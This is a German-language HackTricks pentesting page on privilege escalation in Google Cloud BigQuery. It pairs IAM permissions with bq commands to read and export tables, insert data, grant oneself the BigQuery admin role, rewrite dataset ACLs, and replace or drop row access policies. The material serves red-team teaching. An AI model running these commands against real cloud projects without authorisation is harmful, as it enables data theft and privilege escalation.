GCP - BigQuery Privesc
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
BigQuery
Für weitere Informationen zu BigQuery siehe:
Tabelle lesen
Beim Lesen der Informationen, die in einer BigQuery-Tabelle gespeichert sind, könnte es möglich sein, sensible Informationen zu finden. Um auf die Informationen zuzugreifen, sind die benötigten Berechtigungen bigquery.tables.get
, bigquery.jobs.create
und bigquery.tables.getData
:
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
Daten exportieren
Dies ist eine weitere Möglichkeit, auf die Daten zuzugreifen. Exportieren Sie sie in einen Cloud-Speicher-Bucket und laden Sie die Dateien mit den Informationen herunter.
Um diese Aktion durchzuführen, sind die folgenden Berechtigungen erforderlich: bigquery.tables.export
, bigquery.jobs.create
und storage.objects.create
.
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
Daten einfügen
Es könnte möglich sein, bestimmte vertrauenswürdige Daten in eine Bigquery-Tabelle einzufügen, um eine Schwachstelle an anderer Stelle auszunutzen. Dies kann einfach mit den Berechtigungen bigquery.tables.get
, bigquery.tables.updateData
und bigquery.jobs.create
durchgeführt werden:
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
bigquery.datasets.setIamPolicy
Ein Angreifer könnte dieses Privileg missbrauchen, um sich selbst weitere Berechtigungen über ein BigQuery-Dataset zu geben:
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update
, (bigquery.datasets.get
)
Nur diese Berechtigung ermöglicht es, Ihren Zugriff auf ein BigQuery-Dataset zu aktualisieren, indem die ACLs geändert werden, die angeben, wer darauf zugreifen kann:
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
bigquery.tables.setIamPolicy
Ein Angreifer könnte dieses Privileg missbrauchen, um sich selbst weitere Berechtigungen über eine BigQuery-Tabelle zu geben:
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
bigquery.rowAccessPolicies.update
, bigquery.rowAccessPolicies.setIamPolicy
, bigquery.tables.getData
, bigquery.jobs.create
Laut den Dokumenten ist es mit den genannten Berechtigungen möglich, eine Zeilenrichtlinie zu aktualisieren.
Allerdings benötigst du zusätzlich zur CLI bq
noch einige weitere: bigquery.rowAccessPolicies.create
, bigquery.tables.get
.
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
Es ist möglich, die Filter-ID in der Ausgabe der Zeilenrichtlinienenumeration zu finden. Beispiel:
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
Wenn Sie bigquery.rowAccessPolicies.delete
anstelle von bigquery.rowAccessPolicies.update
haben, könnten Sie auch einfach die Richtlinie löschen:
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
caution
Eine weitere potenzielle Möglichkeit, um Zeilenzugriffsrichtlinien zu umgehen, wäre, einfach den Wert der eingeschränkten Daten zu ändern. Wenn Sie nur sehen können, wenn term
Cfba
ist, ändern Sie einfach alle Datensätze der Tabelle so, dass term = "Cfba"
ist. Dies wird jedoch von BigQuery verhindert.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.